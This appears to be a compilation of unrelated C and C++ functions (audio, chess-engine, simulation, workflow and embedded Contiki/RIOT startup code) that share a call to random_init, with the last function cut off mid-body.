static void *pluck_new(t_symbol *s, int argc, t_atom *argv){ t_pluck *x = (t_pluck *)pd_new(pluck_class); s = NULL; ///////////////////////////////////////////////////////////////////////////////////// static int seed = 1; random_init(&x->x_rstate, seed++); float freq = 0; float decay = 0; float cut_freq = 15000; x->x_noise_input = 0; ///// int argnum = 0; int flag = 0; while(argc > 0){ if(argv->a_type == A_FLOAT && !flag){ //if current argument is a float t_float argval = atom_getfloatarg(0, argc, argv); switch(argnum){ case 0: freq = argval; break; case 1: decay = argval; break; case 2: cut_freq = argval; break; default: break; }; argnum++; argc--; argv++; } else if(argv->a_type == A_SYMBOL){ flag = 1; t_symbol *curarg = atom_getsymbolarg(0, argc, argv); if(!strcmp(curarg->s_name, "-in")){ x->x_noise_input = 1; argc--; argv++; } else{ goto errstate; }; } else{ goto errstate; } }; ///////////////////////////////////////////////////////////////////////////////////// x->x_sr = sys_getsr(); x->x_alloc = x->x_last_trig = 0; x->x_xnm1 = x->x_xnm2 = x->x_ynm1 = x->x_ynm2 = 0.; x->x_sum = PLUCK_MAXD; x->x_sz = PLUCK_STACK; // clear out stack buf, set pointer to stack x->x_ybuf = x->x_fbstack; pluck_clear(x); x->x_freq = freq; x->x_maxdel = 1000; // ship off to the helper method to deal with allocation if necessary pluck_sz(x); // inlets / outlet x->x_trig_let = inlet_new((t_object *)x, (t_pd *)x, &s_signal, &s_signal); x->x_alet = inlet_new((t_object *)x, (t_pd *)x, &s_signal, &s_signal); pd_float((t_pd *)x->x_alet, decay); x->x_inlet_cutoff = inlet_new((t_object *)x, (t_pd *)x, &s_signal, &s_signal); pd_float((t_pd *)x->x_inlet_cutoff, cut_freq); if(x->x_noise_input) inlet_new((t_object *)x, (t_pd *)x, &s_signal, &s_signal); x->x_outlet = outlet_new((t_object *)x, &s_signal); return (x); errstate: pd_error(x, "[pluck~]: improper args"); return NULL; }
TEngine::TEngine(AnsiString FileName) { util_init(); my_random_init(); square_init(); piece_init(); pawn_init_bit(); value_init(); vector_init(); attack_init(); move_do_init(); random_init(); hash_init(); Reversed = true; board_from_fen(&StartBoard,StartFen); board_from_fen(&Board,StartFen); GameStarted = false; StateNewGame = false; LastCommitMove[0] = 0; Process = new TProcess(FileName); Process->Send("uci"); char buf[10000]; do { Sleep(10); if (Process->Get(buf)) { char *next_line = buf; while (true) { char *cur_line = next_line; if (cur_line[0] == 0) break; char *end = strstr(cur_line,"\r\n"); end[0] = 0; end[1] = 0; next_line = end + 2; char *cur_word; while (cur_line) { cur_word = get_cur_word_str(&cur_line); int pos; if (string_equal(cur_word,"id")) { cur_word = get_cur_word_str(&cur_line); if (string_equal(cur_word,"name")) { AnsiString EngineName = cur_line; MainForm->lbEngineName->Caption = EngineName; } } if (string_equal(cur_word,"uciok")) { if (MainForm->MultiPV > 1) { Process->Send("setoption name MultiPV value " + IntToStr(MainForm->MultiPV)); Sleep(100); Process->Get(buf); } Process->Send("setoption name Hash value " + IntToStr(MainForm->HashSize)); return; } } } } } while (true); }
/** The main entry point of GridLAB-D @returns Exit codes XC_SUCCESS, etc. (see gridlabd.h) **/ int main(int argc, /**< the number entries on command-line argument list \p argv */ char *argv[]) /**< a list of pointers to the command-line arguments */ { char *pd1, *pd2; int i, pos=0; char *browser = getenv("GLBROWSER"); /* set the default timezone */ timestamp_set_tz(NULL); exec_clock(); /* initialize the wall clock */ realtime_starttime(); /* mark start */ /* set the process info */ global_process_id = getpid(); /* specify the default browser */ if ( browser!= NULL ) strncpy(global_browser,browser,sizeof(global_browser)-1); #if defined WIN32 && _DEBUG atexit(pause_at_exit); #endif #ifdef WIN32 kill_starthandler(); atexit(kill_stophandler); #endif /* capture the execdir */ strcpy(global_execname,argv[0]); strcpy(global_execdir,argv[0]); pd1 = strrchr(global_execdir,'/'); pd2 = strrchr(global_execdir,'\\'); if (pd1>pd2) *pd1='\0'; else if (pd2>pd1) *pd2='\0'; /* determine current working directory */ getcwd(global_workdir,1024); /* capture the command line */ for (i=0; i<argc; i++) { if (pos < (int)(sizeof(global_command_line)-strlen(argv[i]))) pos += sprintf(global_command_line+pos,"%s%s",pos>0?" ":"",argv[i]); } /* main initialization */ if (!output_init(argc,argv) || !exec_init()) exit(XC_INIERR); /* set thread count equal to processor count if not passed on command-line */ if (global_threadcount == 0) global_threadcount = processor_count(); output_verbose("detected %d processor(s)", processor_count()); output_verbose("using %d helper thread(s)", global_threadcount); /* process command line arguments */ if (cmdarg_load(argc,argv)==FAILED) { output_fatal("shutdown after command line rejected"); /* TROUBLESHOOT The command line is not valid and the system did not complete its startup procedure. Correct the problem with the command line and try again. */ exit(XC_ARGERR); } /* stitch clock */ global_clock = global_starttime; /* initialize scheduler */ sched_init(0); /* recheck threadcount in case user set it 0 */ if (global_threadcount == 0) { global_threadcount = processor_count(); output_verbose("using %d helper thread(s)", global_threadcount); } /* see if newer version is available */ if ( global_check_version ) check_version(1); /* setup the random number generator */ random_init(); /* pidfile */ if (strcmp(global_pidfile,"")!=0) { FILE *fp = fopen(global_pidfile,"w"); if (fp==NULL) { output_fatal("unable to create pidfile '%s'", global_pidfile); /* TROUBLESHOOT The system must allow creation of the process id file at the location indicated in the message. Create and/or modify access rights to the path for that file and try again. */ exit(XC_PRCERR); } #ifdef WIN32 #define getpid _getpid #endif fprintf(fp,"%d\n",getpid()); output_verbose("process id %d written to %s", getpid(), global_pidfile); fclose(fp); atexit(delete_pidfile); } /* do legal stuff */ #ifdef LEGAL_NOTICE if (strcmp(global_pidfile,"")==0 && legal_notice()==FAILED) exit(XC_USRERR); #endif /* start the processing environment */ output_verbose("load time: %d sec", realtime_runtime()); output_verbose("starting up %s environment", global_environment); if (environment_start(argc,argv)==FAILED) { output_fatal("environment startup failed: %s", strerror(errno)); /* TROUBLESHOOT The requested environment could not be started. This usually follows a more specific message regarding the startup problem. Follow the recommendation for the indicated problem. */ if ( exec_getexitcode()==XC_SUCCESS ) exec_setexitcode(XC_ENVERR); } /* save the model */ if (strcmp(global_savefile,"")!=0) { if (saveall(global_savefile)==FAILED) output_error("save to '%s' failed", global_savefile); } /* do module dumps */ if (global_dumpall!=FALSE) { output_verbose("dumping module data"); module_dumpall(); } /* KML output */ if (strcmp(global_kmlfile,"")!=0) kml_dump(global_kmlfile); /* terminate */ module_termall(); /* wrap up */ output_verbose("shutdown complete"); /* profile results */ if (global_profiler) { class_profiles(); module_profiles(); } #ifdef DUMP_SCHEDULES /* dump a copy of the schedules for reference */ schedule_dumpall("schedules.txt"); #endif /* restore locale */ locale_pop(); /* if pause enabled */ #ifndef WIN32 if (global_pauseatexit) { output_verbose("pausing at exit"); while (true) { sleep(5); } } #endif /* compute elapsed runtime */ output_verbose("elapsed runtime %d seconds", realtime_runtime()); output_verbose("exit code %d", exec_getexitcode()); exit(exec_getexitcode()); }
void auto_init(void) { #ifdef MODULE_TINYMT32 random_init(0); #endif #ifdef MODULE_XTIMER DEBUG("Auto init xtimer module.\n"); xtimer_init(); #endif #ifdef MODULE_RTC DEBUG("Auto init rtc module.\n"); rtc_init(); #endif #ifdef MODULE_IO1_XPLAINED DEBUG("Auto init IO1 Xplained extension module.\n"); io1_xplained_auto_init(); #endif #ifdef MODULE_SHT11 DEBUG("Auto init SHT11 module.\n"); sht11_init(); #endif #ifdef MODULE_GPIOINT DEBUG("Auto init gpioint module.\n"); gpioint_init(); #endif #ifdef MODULE_LTC4150 DEBUG("Auto init ltc4150 module.\n"); ltc4150_init(); #endif #ifdef MODULE_MCI DEBUG("Auto init mci module.\n"); mci_initialize(); #endif #ifdef MODULE_PROFILING extern void profiling_init(void); profiling_init(); #endif #ifdef MODULE_GNRC_PKTBUF DEBUG("Auto init gnrc_pktbuf module\n"); gnrc_pktbuf_init(); #endif #ifdef MODULE_GNRC_PKTDUMP DEBUG("Auto init gnrc_pktdump module.\n"); gnrc_pktdump_init(); #endif #ifdef MODULE_GNRC_SIXLOWPAN DEBUG("Auto init gnrc_sixlowpan module.\n"); gnrc_sixlowpan_init(); #endif #ifdef MODULE_GNRC_IPV6 DEBUG("Auto init gnrc_ipv6 module.\n"); gnrc_ipv6_init(); #endif #ifdef MODULE_GNRC_UDP DEBUG("Auto init UDP module.\n"); gnrc_udp_init(); #endif #ifdef MODULE_DHT DEBUG("Auto init DHT devices.\n"); extern void dht_auto_init(void); dht_auto_init(); #endif #ifdef MODULE_LWIP DEBUG("Bootstraping lwIP.\n"); lwip_bootstrap(); #endif #ifdef MODULE_GCOAP DEBUG("Auto init gcoap module.\n"); gcoap_init(); #endif /* initialize network devices */ #ifdef MODULE_AUTO_INIT_GNRC_NETIF #ifdef MODULE_AT86RF2XX extern void auto_init_at86rf2xx(void); auto_init_at86rf2xx(); #endif #ifdef MODULE_CC2420 extern void auto_init_cc2420(void); auto_init_cc2420(); #endif #ifdef MODULE_ENCX24J600 extern void auto_init_encx24j600(void); auto_init_encx24j600(); #endif #ifdef MODULE_ENC28J60 extern void auto_init_enc28j60(void); auto_init_enc28j60(); #endif #ifdef MODULE_ETHOS extern void auto_init_ethos(void); auto_init_ethos(); #endif #ifdef MODULE_GNRC_SLIP extern void auto_init_slip(void); auto_init_slip(); #endif #ifdef MODULE_CC110X extern void auto_init_cc110x(void); auto_init_cc110x(); #endif #ifdef MODULE_CC2538_RF extern void auto_init_cc2538_rf(void); auto_init_cc2538_rf(); #endif #ifdef MODULE_XBEE extern void auto_init_xbee(void); auto_init_xbee(); #endif #ifdef MODULE_KW2XRF extern void auto_init_kw2xrf(void); auto_init_kw2xrf(); #endif #ifdef MODULE_NETDEV2_TAP extern void auto_init_netdev2_tap(void); auto_init_netdev2_tap(); #endif #ifdef MODULE_NORDIC_SOFTDEVICE_BLE extern void gnrc_nordic_ble_6lowpan_init(void); gnrc_nordic_ble_6lowpan_init(); #endif #ifdef MODULE_NRFMIN extern void gnrc_nrfmin_init(void); gnrc_nrfmin_init(); #endif #ifdef MODULE_W5100 extern void auto_init_w5100(void); auto_init_w5100(); #endif #endif /* MODULE_AUTO_INIT_GNRC_NETIF */ #ifdef MODULE_GNRC_IPV6_NETIF gnrc_ipv6_netif_init_by_dev(); #endif #ifdef MODULE_GNRC_UHCPC extern void auto_init_gnrc_uhcpc(void); auto_init_gnrc_uhcpc(); #endif /* initialize sensors and actuators */ #ifdef MODULE_AUTO_INIT_SAUL DEBUG("auto_init SAUL\n"); #ifdef MODULE_SAUL_GPIO extern void auto_init_gpio(void); auto_init_gpio(); #endif #ifdef MODULE_SAUL_ADC extern void auto_init_adc(void); auto_init_adc(); #endif #ifdef MODULE_LSM303DLHC extern void auto_init_lsm303dlhc(void); auto_init_lsm303dlhc(); #endif #ifdef MODULE_LPS331AP extern void auto_init_lps331ap(void); auto_init_lps331ap(); #endif #ifdef MODULE_ISL29020 extern void auto_init_isl29020(void); auto_init_isl29020(); #endif #ifdef MODULE_L3G4200D extern void auto_init_l3g4200d(void); auto_init_l3g4200d(); #endif #ifdef MODULE_LIS3DH extern void auto_init_lis3dh(void); auto_init_lis3dh(); #endif #ifdef MODULE_MMA8652 extern void auto_init_mma8652(void); auto_init_mma8652(); #endif #ifdef MODULE_SI70XX extern void auto_init_si70xx(void); auto_init_si70xx(); #endif #ifdef MODULE_BMP180 extern void auto_init_bmp180(void); auto_init_bmp180(); #endif #ifdef MODULE_JC42 extern void auto_init_jc42(void); auto_init_jc42(); #endif #ifdef MODULE_HDC1000 extern void auto_init_hdc1000(void); auto_init_hdc1000(); #endif #endif /* MODULE_AUTO_INIT_SAUL */ #ifdef MODULE_AUTO_INIT_GNRC_RPL #ifdef MODULE_GNRC_RPL extern void auto_init_gnrc_rpl(void); auto_init_gnrc_rpl(); #endif #endif /* MODULE_AUTO_INIT_GNRC_RPL */ }
int main(int argc, char *argv[]) { int c; random_init(); debug_config(argv[0]); int display_mode = 0; cctools_version_debug(D_MAKEFLOW_RUN, argv[0]); const char *dagfile; int condense_display = 0; int change_size = 0; int export_as_dax = 0; int ppm_mode = 0; char *ppm_option = NULL; struct option long_options_viz[] = { {"display-mode", required_argument, 0, 'D'}, {"help", no_argument, 0, 'h'}, {"dot-merge-similar", no_argument, 0, LONG_OPT_DOT_CONDENSE}, {"dot-proportional", no_argument, 0, LONG_OPT_DOT_PROPORTIONAL}, {"ppm-highlight-row", required_argument, 0, LONG_OPT_PPM_ROW}, {"ppm-highlight-exe", required_argument, 0, LONG_OPT_PPM_EXE}, {"ppm-highlight-file", required_argument, 0, LONG_OPT_PPM_FILE}, {"ppm-show-levels", no_argument, 0, LONG_OPT_PPM_LEVELS}, {"export-as-dax", no_argument, 0, 'e'}, {"version", no_argument, 0, 'v'}, {0, 0, 0, 0} }; const char *option_string_viz = "b:D:ehv"; while((c = getopt_long(argc, argv, option_string_viz, long_options_viz, NULL)) >= 0) { switch (c) { case 'D': if(strcasecmp(optarg, "dot") == 0) display_mode = SHOW_DAG_DOT; else if (strcasecmp(optarg, "ppm") == 0) display_mode = SHOW_DAG_PPM; else if (strcasecmp(optarg, "cytoscape") == 0) display_mode = SHOW_DAG_CYTO; else fatal("Unknown display option: %s\n", optarg); break; case LONG_OPT_DOT_CONDENSE: display_mode = SHOW_DAG_DOT; condense_display = 1; break; case LONG_OPT_DOT_PROPORTIONAL: display_mode = SHOW_DAG_DOT; change_size = 1; break; case LONG_OPT_PPM_EXE: display_mode = SHOW_DAG_PPM; ppm_option = optarg; ppm_mode = 2; break; case LONG_OPT_PPM_FILE: display_mode = SHOW_DAG_PPM; ppm_option = optarg; ppm_mode = 3; break; case LONG_OPT_PPM_ROW: display_mode = SHOW_DAG_PPM; ppm_option = optarg; ppm_mode = 4; break; case LONG_OPT_PPM_LEVELS: display_mode = SHOW_DAG_PPM; ppm_mode = 5; break; case 'e': export_as_dax = 1; break; case 'h': show_help_viz(argv[0]); return 0; case 'v': cctools_version_print(stdout, argv[0]); return 0; default: show_help_viz(argv[0]); return 1; } } if((argc - optind) != 1) { int rv = access("./Makeflow", R_OK); if(rv < 0) { fprintf(stderr, "makeflow_viz: No makeflow specified and file \"./Makeflow\" could not be found.\n"); fprintf(stderr, "makeflow_viz: Run \"%s -h\" for help with options.\n", argv[0]); return 1; } dagfile = "./Makeflow"; } else { dagfile = argv[optind]; } struct dag *d = dag_from_file(dagfile); if(!d) { fatal("makeflow_viz: couldn't load %s: %s\n", dagfile, strerror(errno)); } if(export_as_dax) { dag_to_dax(d, path_basename(dagfile)); return 0; } if(display_mode) { switch(display_mode) { case SHOW_DAG_DOT: dag_to_dot(d, condense_display, change_size); break; case SHOW_DAG_PPM: dag_to_ppm(d, ppm_mode, ppm_option); break; case SHOW_DAG_CYTO: dag_to_cyto(d, condense_display, change_size); break; default: fatal("Unknown display option."); break; } exit(0); } return 0; }
static void *worker_thread(void *arg) { // RNG for packet_dispatch random_state_t rng = random_init(); // The main loop. // Handles either incoming packets, or requests from the configuration // server. while (true) { uint8_t packet[CKTP_MAX_PACKET_SIZE + sizeof(struct ethhdr)]; uint8_t packet_buff[PACKET_BUFF_SIZE]; size_t packet_len = get_packet(packet, sizeof(packet)); struct config_s config; config_get(&config); // Do we need to tunnel this packet? if (!packet_filter(&config, packet, packet_len)) { inject_packet(packet, packet_len); continue; } // Is there a tunnel available for use? if (config.tunnel && !tunnel_ready()) { warning("unable to tunnel packet (no suitable tunnel is open); " "the packet will be sent via the normal route"); inject_packet(packet, packet_len); continue; } // Is this packet a repeat or not? uint64_t packet_hash; unsigned packet_rep; packet_track(packet, &packet_hash, &packet_rep); // Dispatch the packet (fragments) struct ethhdr *allowed_packets[DISPATCH_MAX_FRAGMENTS+1]; struct ethhdr *tunneled_packets[DISPATCH_MAX_FRAGMENTS+1]; allowed_packets[0] = NULL; tunneled_packets[0] = NULL; packet_dispatch(&config, rng, packet, packet_len, packet_hash, packet_rep, allowed_packets, tunneled_packets, packet_buff); // Tunnel the packets if (config.tunnel) { if (!tunnel_packets(packet, (uint8_t **)tunneled_packets, packet_hash, packet_rep, config.mtu, config.multi_route)) { continue; } } else { allow_packets(true, tunneled_packets); } // Allow packets. allow_packets(false, allowed_packets); } return NULL; }
void platform_init() { // Enable watchdog if requested if (platform_should_start_watchdog && platform_should_start_watchdog()) { watchdog_enable(WATCHDOG_DIVIDER_256, 0xFFF); } // Enable floating point *cm3_scb_get_CPACR() |= 0xF << 20; /* set CP10 and CP11 Full Access */ // Enable syscfg rcc_apb_enable(RCC_APB_BUS_SYSCFG, RCC_APB_BIT_SYSCFG); // At reset, HCLK is 16MHz, set flash latency to 5 wait state to handle 168MHz flash_set_latency(5); // Configure PLL to have 336MHz VCO, then 48MHz for USB and 168 MHz for sysclk rcc_pll_enable(RCC_PLL_SOURCE_HSI, 8, 168, RCC_PLL_MAIN_DIV_2, 7); // Now SYSCLK is at 168MHz, set AHB divider to 1, APB1 to 4 and APB2 to 4 /* * The frequency of the AHB domain is 168 MHz. * The frequency of the APBx domain is 42 MHz. */ rcc_sysclk_set_prescalers(RCC_SYSCLK_AHB_PRE_1, RCC_SYSCLK_APB_PRE_4, RCC_SYSCLK_APB_PRE_4); // Select PLL as SYSCLK source clock rcc_sysclk_select_source(RCC_SYSCLK_SOURCE_PLL); // Setup the drivers platform_drivers_setup(); // Setup the LEDs platform_leds_setup(); // Setup the libraries platform_lib_setup(); // Setup the peripherals platform_periph_setup(); // Setup the net stack platform_net_setup(); // Feed the random number generator random_init(uid->uid32[2]); log_printf( "HCLK @%uMHz, SYSTICK @%uMHz", rcc_sysclk_get_clock_frequency(RCC_SYSCLK_CLOCK_HCLK) / 1000000, rcc_sysclk_get_clock_frequency(RCC_SYSCLK_CLOCK_SYSTICK_CLK) / 1000000); log_printf("\n\nPlatform starting in "); uint32_t i; for (i = 1; i > 0; i--) { log_printf("%u... ", i); soft_timer_delay_s(1); } log_printf("\nGO!\n"); }
/*---------------------------------------------------------------------------*/ int main(void) { /* Hardware initialization */ bus_init(); rtimer_init(); stack_poison(); /* model-specific h/w init. */ model_init(); /* Init LEDs here */ leds_init(); fade(LEDS_GREEN); /* initialize process manager. */ process_init(); /* Init UART1 */ uart1_init(); #if DMA_ON dma_init(); #endif #if SLIP_ARCH_CONF_ENABLE /* On cc2430, the argument is not used */ slip_arch_init(0); #else uart1_set_input(serial_line_input_byte); serial_line_init(); #endif PUTSTRING("##########################################\n"); putstring(CONTIKI_VERSION_STRING "\n"); putstring(SENSINODE_MODEL " (CC24"); puthex(((CHIPID >> 3) | 0x20)); putstring("-" FLASH_SIZE ")\n"); #if STARTUP_VERBOSE #ifdef HAVE_SDCC_BANKING PUTSTRING(" With Banking.\n"); #endif /* HAVE_SDCC_BANKING */ #ifdef SDCC_MODEL_LARGE PUTSTRING(" --model-large\n"); #endif /* SDCC_MODEL_LARGE */ #ifdef SDCC_MODEL_HUGE PUTSTRING(" --model-huge\n"); #endif /* SDCC_MODEL_HUGE */ #ifdef SDCC_STACK_AUTO PUTSTRING(" --stack-auto\n"); #endif /* SDCC_STACK_AUTO */ PUTCHAR('\n'); PUTSTRING(" Net: "); PUTSTRING(NETSTACK_NETWORK.name); PUTCHAR('\n'); PUTSTRING(" MAC: "); PUTSTRING(NETSTACK_MAC.name); PUTCHAR('\n'); PUTSTRING(" RDC: "); PUTSTRING(NETSTACK_RDC.name); PUTCHAR('\n'); PUTSTRING("##########################################\n"); #endif watchdog_init(); /* Initialise the cc2430 RNG engine. */ random_init(0); /* start services */ process_start(&etimer_process, NULL); ctimer_init(); /* initialize the netstack */ netstack_init(); set_rime_addr(); #if BUTTON_SENSOR_ON || ADC_SENSOR_ON process_start(&sensors_process, NULL); sensinode_sensors_activate(); #endif #if UIP_CONF_IPV6 memcpy(&uip_lladdr.addr, &rimeaddr_node_addr, sizeof(uip_lladdr.addr)); queuebuf_init(); process_start(&tcpip_process, NULL); #if DISCO_ENABLED process_start(&disco_process, NULL); #endif /* DISCO_ENABLED */ #if VIZTOOL_CONF_ON process_start(&viztool_process, NULL); #endif #if (!UIP_CONF_IPV6_RPL) { uip_ipaddr_t ipaddr; uip_ip6addr(&ipaddr, 0x2001, 0x630, 0x301, 0x6453, 0, 0, 0, 0); uip_ds6_set_addr_iid(&ipaddr, &uip_lladdr); uip_ds6_addr_add(&ipaddr, 0, ADDR_TENTATIVE); } #endif /* UIP_CONF_IPV6_RPL */ #endif /* UIP_CONF_IPV6 */ /* * Acknowledge the UART1 RX interrupt * now that we're sure we are ready to process it */ model_uart_intr_en(); energest_init(); ENERGEST_ON(ENERGEST_TYPE_CPU); fade(LEDS_RED); #if BATMON_CONF_ON process_start(&batmon_process, NULL); #endif autostart_start(autostart_processes); watchdog_start(); while(1) { uint8_t r; do { /* Reset watchdog and handle polls and events */ watchdog_periodic(); #if CLOCK_CONF_STACK_FRIENDLY if(sleep_flag) { if(etimer_pending() && (etimer_next_expiration_time() - clock_time() - 1) > MAX_TICKS) { etimer_request_poll(); } sleep_flag = 0; } #endif r = process_run(); } while(r > 0); #if NETSTACK_CONF_SHORTCUTS len = NETSTACK_RADIO.pending_packet(); if(len) { packetbuf_clear(); len = NETSTACK_RADIO.read(packetbuf_dataptr(), PACKETBUF_SIZE); if(len > 0) { packetbuf_set_datalen(len); NETSTACK_RDC.input(); } } #endif #if LPM_MODE #if (LPM_MODE==LPM_MODE_PM2) SLEEP &= ~OSC_PD; /* Make sure both HS OSCs are on */ while(!(SLEEP & HFRC_STB)); /* Wait for RCOSC to be stable */ CLKCON |= OSC; /* Switch to the RCOSC */ while(!(CLKCON & OSC)); /* Wait till it's happened */ SLEEP |= OSC_PD; /* Turn the other one off */ #endif /* LPM_MODE==LPM_MODE_PM2 */ /* * Set MCU IDLE or Drop to PM1. Any interrupt will take us out of LPM * Sleep Timer will wake us up in no more than 7.8ms (max idle interval) */ SLEEP = (SLEEP & 0xFC) | (LPM_MODE - 1); #if (LPM_MODE==LPM_MODE_PM2) /* * Wait 3 NOPs. Either an interrupt occurred and SLEEP.MODE was cleared or * no interrupt occurred and we can safely power down */ __asm nop nop nop __endasm; if (SLEEP & SLEEP_MODE0) { #endif /* LPM_MODE==LPM_MODE_PM2 */ ENERGEST_OFF(ENERGEST_TYPE_CPU); ENERGEST_ON(ENERGEST_TYPE_LPM); /* We are only interested in IRQ energest while idle or in LPM */ ENERGEST_IRQ_RESTORE(irq_energest); /* Go IDLE or Enter PM1 */ PCON |= IDLE; /* First instruction upon exiting PM1 must be a NOP */ __asm nop __endasm; /* Remember energest IRQ for next pass */ ENERGEST_IRQ_SAVE(irq_energest); ENERGEST_ON(ENERGEST_TYPE_CPU); ENERGEST_OFF(ENERGEST_TYPE_LPM); #if (LPM_MODE==LPM_MODE_PM2) SLEEP &= ~OSC_PD; /* Make sure both HS OSCs are on */ while(!(SLEEP & XOSC_STB)); /* Wait for XOSC to be stable */ CLKCON &= ~OSC; /* Switch to the XOSC */ /* * On occasion the XOSC is reported stable when in reality it's not. * We need to wait for a safeguard of 64us or more before selecting it */ clock_delay_usec(65); while(CLKCON & OSC); /* Wait till it's happened */ } #endif /* LPM_MODE==LPM_MODE_PM2 */ #endif /* LPM_MODE */ } }
/** * \brief Main routine for the Re-Mote platform */ int main(void) { nvic_init(); ioc_init(); sys_ctrl_init(); clock_init(); lpm_init(); rtimer_init(); gpio_init(); leds_init(); fade(LEDS_RED); process_init(); watchdog_init(); SENSORS_ACTIVATE(button_sensor); /* * Character I/O Initialisation. * When the UART receives a character it will call serial_line_input_byte to * notify the core. The same applies for the USB driver. * * If slip-arch is also linked in afterwards (e.g. if we are a border router) * it will overwrite one of the two peripheral input callbacks. Characters * received over the relevant peripheral will be handled by * slip_input_byte instead */ #if UART_CONF_ENABLE uart_init(0); uart_init(1); uart_set_input(SERIAL_LINE_CONF_UART, serial_line_input_byte); #endif #if USB_SERIAL_CONF_ENABLE usb_serial_init(); usb_serial_set_input(serial_line_input_byte); #endif serial_line_init(); INTERRUPTS_ENABLE(); fade(LEDS_BLUE); PUTS(CONTIKI_VERSION_STRING); PUTS(BOARD_STRING); PRINTF(" Net: "); PRINTF("%s\n", NETSTACK_NETWORK.name); PRINTF(" MAC: "); PRINTF("%s\n", NETSTACK_MAC.name); PRINTF(" RDC: "); PRINTF("%s\n", NETSTACK_RDC.name); /* Initialise the H/W RNG engine. */ random_init(0); udma_init(); process_start(&etimer_process, NULL); ctimer_init(); set_rf_params(); netstack_init(); #if NETSTACK_CONF_WITH_IPV6 memcpy(&uip_lladdr.addr, &linkaddr_node_addr, sizeof(uip_lladdr.addr)); queuebuf_init(); process_start(&tcpip_process, NULL); #endif /* NETSTACK_CONF_WITH_IPV6 */ antenna_sw_config(); process_start(&sensors_process, NULL); SENSORS_ACTIVATE(button_sensor); energest_init(); ENERGEST_ON(ENERGEST_TYPE_CPU); autostart_start(autostart_processes); watchdog_start(); fade(LEDS_GREEN); while(1) { uint8_t r; do { /* Reset watchdog and handle polls and events */ watchdog_periodic(); r = process_run(); } while(r > 0); /* We have serviced all pending events. Enter a Low-Power mode. */ lpm_enter(); } }
/** * \brief Main function for nRF52dk platform. * \note This function doesn't return. */ int main(void) { board_init(); leds_init(); clock_init(); rtimer_init(); watchdog_init(); process_init(); // Seed value is ignored since hardware RNG is used. random_init(0); #ifdef UART0_ENABLED uart0_init(); #if SLIP_ARCH_CONF_ENABLE slip_arch_init(0); #else uart0_set_input(serial_line_input_byte); serial_line_init(); #endif #endif PRINTF("Starting " CONTIKI_VERSION_STRING "\n"); process_start(&etimer_process, NULL); ctimer_init(); #if ENERGEST_CONF_ON energest_init(); ENERGEST_ON(ENERGEST_TYPE_CPU); #endif #ifdef SOFTDEVICE_PRESENT ble_stack_init(); ble_advertising_init(DEVICE_NAME); #if NETSTACK_CONF_WITH_IPV6 netstack_init(); linkaddr_t linkaddr; ble_get_mac(linkaddr.u8); /* Set link layer address */ linkaddr_set_node_addr(&linkaddr); /* Set device link layer address in uip stack */ memcpy(&uip_lladdr.addr, &linkaddr, sizeof(uip_lladdr.addr)); process_start(&ble_iface_observer, NULL); process_start(&tcpip_process, NULL); #endif /* NETSTACK_CONF_WITH_IPV6 */ #endif /* SOFTDEVICE_PRESENT */ process_start(&sensors_process, NULL); autostart_start(autostart_processes); watchdog_start(); #ifdef SOFTDEVICE_PRESENT ble_advertising_start(); PRINTF("Advertising name [%s]\n", DEVICE_NAME); #endif while(1) { uint8_t r; do { r = process_run(); watchdog_periodic(); } while(r > 0); lpm_drop(); } }
/*---------------------------------------------------------------------------*/ int main(int argc, char **argv) { /* * Initalize hardware. */ msp430_cpu_init(); clock_init(); leds_init(); leds_on(LEDS_RED); clock_wait(2); uart1_init(115200); /* Must come before first printf */ #if NETSTACK_CONF_WITH_IPV4 slip_arch_init(115200); #endif /* NETSTACK_CONF_WITH_IPV4 */ clock_wait(1); leds_on(LEDS_GREEN); //ds2411_init(); /* XXX hack: Fix it so that the 802.15.4 MAC address is compatible with an Ethernet MAC address - byte 0 (byte 2 in the DS ID) cannot be odd. */ //ds2411_id[2] &= 0xfe; leds_on(LEDS_BLUE); xmem_init(); leds_off(LEDS_RED); rtimer_init(); /* * Hardware initialization done! */ /* Restore node id if such has been stored in external mem */ node_id_restore(); if(!node_id) { node_id = NODE_ID; } /* for setting "hardcoded" IEEE 802.15.4 MAC addresses */ #ifdef IEEE_802154_MAC_ADDRESS { uint8_t ieee[] = IEEE_802154_MAC_ADDRESS; //memcpy(ds2411_id, ieee, sizeof(uip_lladdr.addr)); //ds2411_id[7] = node_id & 0xff; } #endif //random_init(ds2411_id[0] + node_id); leds_off(LEDS_BLUE); /* * Initialize Contiki and our processes. */ process_init(); process_start(&etimer_process, NULL); ctimer_init(); init_platform(); set_rime_addr(); random_init(linkaddr_node_addr.u8[LINKADDR_SIZE-2] + linkaddr_node_addr.u8[LINKADDR_SIZE-1]); cc2520_init(); { uint8_t longaddr[8]; uint16_t shortaddr; shortaddr = (linkaddr_node_addr.u8[0] << 8) + linkaddr_node_addr.u8[1]; memset(longaddr, 0, sizeof(longaddr)); linkaddr_copy((linkaddr_t *)&longaddr, &linkaddr_node_addr); printf("MAC %02x:%02x:%02x:%02x:%02x:%02x:%02x:%02x ", longaddr[0], longaddr[1], longaddr[2], longaddr[3], longaddr[4], longaddr[5], longaddr[6], longaddr[7]); cc2520_set_pan_addr(IEEE802154_PANID, shortaddr, longaddr); } cc2520_set_channel(RF_CHANNEL); printf(CONTIKI_VERSION_STRING " started. "); if(node_id > 0) { printf("Node id is set to %u.\n", node_id); } else { printf("Node id is not set.\n"); } #if NETSTACK_CONF_WITH_IPV6 /* memcpy(&uip_lladdr.addr, ds2411_id, sizeof(uip_lladdr.addr)); */ memcpy(&uip_lladdr.addr, linkaddr_node_addr.u8, UIP_LLADDR_LEN > LINKADDR_SIZE ? LINKADDR_SIZE : UIP_LLADDR_LEN); /* Setup nullmac-like MAC for 802.15.4 */ /* sicslowpan_init(sicslowmac_init(&cc2520_driver)); */ /* printf(" %s channel %u\n", sicslowmac_driver.name, RF_CHANNEL); */ /* Setup X-MAC for 802.15.4 */ queuebuf_init(); NETSTACK_RDC.init(); NETSTACK_MAC.init(); NETSTACK_NETWORK.init(); printf("%s %s, channel check rate %lu Hz, radio channel %u\n", NETSTACK_MAC.name, NETSTACK_RDC.name, CLOCK_SECOND / (NETSTACK_RDC.channel_check_interval() == 0 ? 1: NETSTACK_RDC.channel_check_interval()), RF_CHANNEL); process_start(&tcpip_process, NULL); printf("Tentative link-local IPv6 address "); { uip_ds6_addr_t *lladdr; int i; lladdr = uip_ds6_get_link_local(-1); for(i = 0; i < 7; ++i) { printf("%02x%02x:", lladdr->ipaddr.u8[i * 2], lladdr->ipaddr.u8[i * 2 + 1]); } printf("%02x%02x\n", lladdr->ipaddr.u8[14], lladdr->ipaddr.u8[15]); } 